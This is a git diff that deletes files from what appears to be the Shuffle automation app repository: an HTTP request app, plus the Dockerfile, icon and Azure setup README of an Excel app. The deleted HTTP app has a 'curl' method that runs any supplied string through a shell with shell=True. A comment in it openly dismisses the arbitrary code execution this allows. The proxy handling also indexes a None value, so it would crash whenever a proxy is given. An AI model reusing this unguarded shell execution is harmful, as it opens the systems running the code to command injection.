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 diff --git a/http/1.4.0/requirements.txt b/http/1.4.0/requirements.txt deleted file mode 100644 index ae3e5391..00000000 --- a/http/1.4.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -uncurl==0.0.10 -requests==2.25.1 \ No newline at end of file diff --git a/http/1.4.0/src/app.py b/http/1.4.0/src/app.py deleted file mode 100755 index ff2ec91b..00000000 --- a/http/1.4.0/src/app.py +++ /dev/null @@ -1,450 +0,0 @@ -import time -import json -import ast -import random -import socket -import uncurl -import asyncio -import requests -import subprocess - -from walkoff_app_sdk.app_base import AppBase - -class HTTP(AppBase): - __version__ = "1.3.0" - app_name = "http" - - def __init__(self, redis, logger, console_logger=None): - print("INIT") - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # This is dangerously fun :) - # Do we care about arbitrary code execution here? - # Probably not huh - def curl(self, statement): - process = subprocess.Popen(statement, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, shell=True) - stdout = process.communicate() - item = "" - if len(stdout[0]) > 0: - print("Succesfully ran bash!") - item = stdout[0] - else: - print("FAILED to run bash!") - item = stdout[1] - - try: - ret = item.decode("utf-8") - return ret - except: - return item - - return item - - def splitheaders(self, headers): - parsed_headers = {} - if headers: - split_headers = headers.split("\n") - self.logger.info(split_headers) - for header in split_headers: - if ":" in header: - splititem = ":" - elif "=" in header: - splititem = "=" - else: - self.logger.info("Skipping header %s as its invalid" % header) - continue - - splitheader = header.split(splititem) - if len(splitheader) >= 2: - parsed_headers[splitheader[0].strip()] = splititem.join(splitheader[1:]).strip() - else: - self.logger.info("Skipping header %s with split %s cus only one item" % (header, splititem)) - continue - - return parsed_headers - - def checkverify(self, verify): - if str(verify).lower().strip() == "false": - return False - elif verify == None: - return False - elif verify: - return True - elif not verify: - return False - else: - return True - - def checkbody(self, body): - # Indicates json - if isinstance(body, str): - if body.strip().startswith("{"): - body = json.dumps(ast.literal_eval(body)) - - - # Not sure if loading is necessary - # Seemed to work with plain string into data=body too, and not parsed json=body - #try: - # body = json.loads(body) - #except json.decoder.JSONDecodeError as e: - # return body - - return body - else: - return body - - if isinstance(body, dict) or isinstance(body, list): - try: - body = json.dumps(body) - except: - return body - - return body - - def fix_url(self, url): - # Random bugs seen by users - if "hhttp" in url: - url = url.replace("hhttp", "http") - - if "http:/" in url and not "http://" in url: - url = url.replace("http:/", "http://", -1) - if "https:/" in url and not "https://" in url: - url = url.replace("https:/", "https://", -1) - if "http:///" in url: - url = url.replace("http:///", "http://", -1) - if "https:///" in url: - url = url.replace("https:///", "https://", -1) - if not "http://" in url and not "http" in url: - url = f"http://{url}" - - return url - - def return_file(self, requestdata): - filedata = { - "filename": "response.txt", - "data": requestdata, - } - fileret = self.set_files([filedata]) - if len(fileret) == 1: - return {"success": True, "file_id": fileret[0]} - - return fileret - - def prepare_response(self, request): - try: - parsedheaders = {} - for key, value in request.headers.items(): - parsedheaders[key] = value - - cookies = {} - if request.cookies: - for key, value in request.cookies.items(): - cookies[key] = value - - - jsondata = request.text - try: - jsondata = json.loads(jsondata) - except: - pass - - parseddata = { - "status": request.status_code, - "body": jsondata, - "url": request.url, - "headers": parsedheaders, - "cookies":cookies, - "success": True, - } - - return json.dumps(parseddata) - except Exception as e: - print(f"[WARNING] Failed in request: {e}") - return request.text - - def GET(self, url, headers="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.get(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def POST(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.post(url, headers=parsed_headers, auth=auth, data=body, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def PUT(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.put(url, headers=parsed_headers, auth=auth, data=body, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def PATCH(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.patch(url, headers=parsed_headers, data=body, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def DELETE(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.delete(url, headers=parsed_headers, data=body, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def HEAD(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.head(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - def OPTIONS(self, url, headers="", body="", username="", password="", verify=True, http_proxy="", https_proxy="", timeout=5, to_file=False): - url = self.fix_url(url) - - parsed_headers = self.splitheaders(headers) - parsed_headers["User-Agent"] = "Shuffle Automation" - verify = self.checkverify(verify) - body = self.checkbody(body) - proxies = None - if http_proxy: - proxies["http"] = http_proxy - if https_proxy: - proxies["https"] = https_proxy - - auth=None - if username or password: - # Shouldn't be used if authorization headers exist - if "Authorization" in parsed_headers: - #print("Found authorization - skipping username & pw") - pass - else: - auth = requests.auth.HTTPBasicAuth(username, password) - - if not timeout: - timeout = 5 - - if timeout: - timeout = int(timeout) - - if to_file == "true": - to_file = True - else: - to_file = False - - request = requests.options(url, headers=parsed_headers, auth=auth, verify=verify, proxies=proxies, timeout=timeout) - if not to_file: - return self.prepare_response(request) - - return self.return_file(request.text) - - -# Run the actual thing after we've checked params -def run(request): - print("Starting cloud!") - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - HTTP.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - HTTP.run() diff --git a/microsoft-excel/1.0.0/Dockerfile b/microsoft-excel/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/microsoft-excel/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/microsoft-excel/1.0.0/Microsoft_excel.png b/microsoft-excel/1.0.0/Microsoft_excel.png deleted file mode 100644 index 91e3596e..00000000 Binary files a/microsoft-excel/1.0.0/Microsoft_excel.png and /dev/null differ diff --git a/microsoft-excel/1.0.0/README.md b/microsoft-excel/1.0.0/README.md deleted file mode 100644 index 86c63a5a..00000000 --- a/microsoft-excel/1.0.0/README.md +++ /dev/null @@ -1,66 +0,0 @@ -# Microsoft Excel -- An app to interact with an excel file from Shuffle using Microsoft Graph Api. -- This app will help to insert, update and clear data of an excel workbook. - -![App_image](https://github.com/Shuffle/python-apps/blob/master/microsoft-excel/1.0.0/Microsoft_excel.png?raw=true) - -## Actions -- #### Get_user_id - - Retrieve a list of user objects. -- #### Get_files - - Gives information about files present in onedrive. Return a collection of DriveItems in the children relationship of a DriveItem. -- #### list_worksheets - - Retrieve the properties and relationships of worksheet object. -- #### add_worksheets - - Adds a new worksheet to the workbook. The worksheet will be added at the end of existing worksheets. -- #### delete_worksheet - - Deletes the worksheet from the workbook. -- #### insert_or_update_data - - Insert or Update the cell values associated with the range. - - Parameter **address** will take input as follows: - - StartCell Address : LastCell Address - - Example: A1:A3 (3 cells row wise) - - Example: A1:B2 (4 cells A1,B1,A2 and B2) - - Example: A1:C1 (3 cells column wise) - - Parameter **value** will take input as follows: - - Columns: Comma seperated - - Rows: Semicolon seperated - - Example: Row1Column1 ,Row1Column2 ; Row2Column1,Row2Column2 - - Example Input: 10,20;30,40 - - Example Output: - - | Index | Column 1 | Column 2 | - |-----|--------|-------------| - |Row 1| 10 | 20 | - |Row 2| 30 | 40 | -- #### clear_data - - Deletes the cells associated with the range. - -## Setup - -- #### Register an App -#### Step 1: Go to the Azure Portal - - - You'll need to go to the [Azure Portal](https://portal.azure.com/) and login. - -#### Step 2: Go to the Azure Active Directory Service - -- Once you are logged into Azure, Register a new application so you can access -the Microsoft Graph API. To register a new application go to your **Azure Active Directory** -and once there go down to **App Registrations** a new window will pop up. - -#### Step 3: Register a New App -- Set name of your choice. -- Select supported account type -- You don't have to set redirect URL. - -#### Step 4: Generate client secret -- Go to your application → Certificates & Secrets → New client Secret -### Note -- You'll need Tenant ID, Client ID & client Secret Value for authentication (Tenant ID & Client ID are available under application overview and for Client Secret go to Certificate & Secrets section). -- Make sure your application has adequate permissions. -- To add permission, Go to your application → API permission → Add 